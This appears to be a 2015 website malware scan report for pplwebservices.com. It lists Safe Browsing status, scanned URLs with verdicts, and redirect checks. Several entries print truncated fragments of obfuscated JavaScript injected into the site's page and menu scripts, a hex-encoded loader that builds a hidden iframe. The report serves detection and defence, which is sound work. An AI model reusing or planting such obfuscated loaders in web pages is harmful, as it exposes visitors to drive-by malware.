Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=pplwebservices.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://pplwebservices.com/ | 200 OK Content-Length: 21551 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) wbuniw="spl"+"i"+"t";jwfqv=window;nvtdg="0"+"x";cwmr=(5-3-1);try{--(document["body"])}catch(zht){epp=false;try{}catch(ikrj){epp=21;}if(1){kobua="17:5d:6c:65:5a:6b:60:66:65:17:5a:68:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:5a:68:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:5a:68:25 Antivirus reports:
| ||
http://pplwebservices.com/wamenuarray2.js | 200 OK Content-Length: 17891 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ium="spl"+"i"+"t";wis=window;nin="0"+"x";jopys=(5-3-1);try{--(document["body"])}catch(uwthw){vej=false;try{}catch(kspnl){vej=21;}if(1){tcz="17:5d:6c:65:5a:6b:60:66:65:17:62:5f:5d:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:62:5f:5d:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:62:5f:5 Antivirus reports:
| ||
http://pplwebservices.com/wamenu.js | 200 OK Content-Length: 34824 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ium="spl"+"i"+"t";wis=window;nin="0"+"x";jopys=(5-3-1);try{--(document["body"])}catch(uwthw){vej=false;try{}catch(kspnl){vej=21;}if(1){tcz="17:5d:6c:65:5a:6b:60:66:65:17:62:5f:5d:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:62:5f:5d:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:62:5f:5 Antivirus reports:
| ||
http://pplshoponline.com/cgi-bin/ads/run.cgi?id=pplclubtop&java=1 | 200 OK Content-Length: 964 Content-Type: text/html | clean |
http://pplshoponline.com/?ga=BWUc%2B4x%2B4CuxD1tL9yd2lteHiFNLbW94BlwM4myIMTvQ2diwnh%2Bz2H3TsLj3cYBA99dyV56y%2FkR6uxVIm44hKw%3D%3D&gerf=fQly9Dj%2BJ%2BxLhjsTDL08ugdHYU6%2F4WD4RuRSOAdA7AA%3D&guro=50Wyjn%2FjVJtVEyVv13jjiJOSVmfnuqCyq4%2BGlMhYU0BDTl3sgoHnM7mnJj4ZpAar2IjYTAEQQBcbCkf64KnjOCyX9cxcq8voOrUT2zJhbIM%3D&id=pplclubtop&java=1 | HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Keep-Alive Date: Wed, 07 Jan 2015 17:41:32 GMT Pragma: no-cache Server: Apache Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=UTF-8 Keep-Alive: timeout=5, max=109 Set-Cookie: gvc=916vr1681980928432761; expires=Mon, 06-Jan-2020 17:41:32 GMT; path=/; domain=pplshoponline.com; httponly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKrfIMFkSaoTSqKmC+BrghK0CpDHc0MuVzmMHin8LIORhpXbped+iYhSnZurWnEO0zcKcVIrzp026LVc5pMB9bUCAwEAAQ==_P43jOo2n+LsdppGX3eEP6SaRBza+Owj9fHpleUuKWxEhJ4VK1JgyzSl2B18Eq50BjskZ2BaRSUxsAzl+XRur3g== | clean |
http://pplshoponline.com/rg-erdr.php?_rpo=t | HTTP/1.1 302 Found Connection: Keep-Alive Date: Wed, 07 Jan 2015 17:41:36 GMT Location: http://dp.g.doubleclick.net/apps/domainpark/domainpark.cgi?client=&domain_name=pplshoponline.com&channel=&drid=&output=html Server: Apache Vary: Accept-Encoding,User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8 Keep-Alive: timeout=5, max=96 | clean |
http://dp.g.doubleclick.net/apps/domainpark/domainpark.cgi?client=&domain_name=pplshoponline.com&channel=&drid=&output=html | 200 OK Content-Length: 0 Content-Type: text/html | clean |
http://dp.g.doubleclick.net/test404page.js | 404 Not Found Content-Length: 1439 Content-Type: text/html | clean |
http://dp.g.doubleclick.net//www.google.com/ | 404 Not Found Content-Length: 1440 Content-Type: text/html | clean |
http://pplwebservices.com//www.google.com/ | 404 Not Found Content-Length: 332 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: pplwebservices.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 07 Jan 2015 17:41:28 GMT
Server: Apache
Content-Type: text/html
GET / HTTP/1.1
Host: pplwebservices.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 07 Jan 2015 17:41:28 GMT
Server: Apache
Content-Type: text/html
Second query (visit from search engine):
GET / HTTP/1.1
Host: pplwebservices.com
Referer: http://www.google.com/search?q=pplwebservices.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: pplwebservices.com
Referer: http://www.google.com/search?q=pplwebservices.com
Result:
The result is similar to the first query. There are no suspicious redirects found.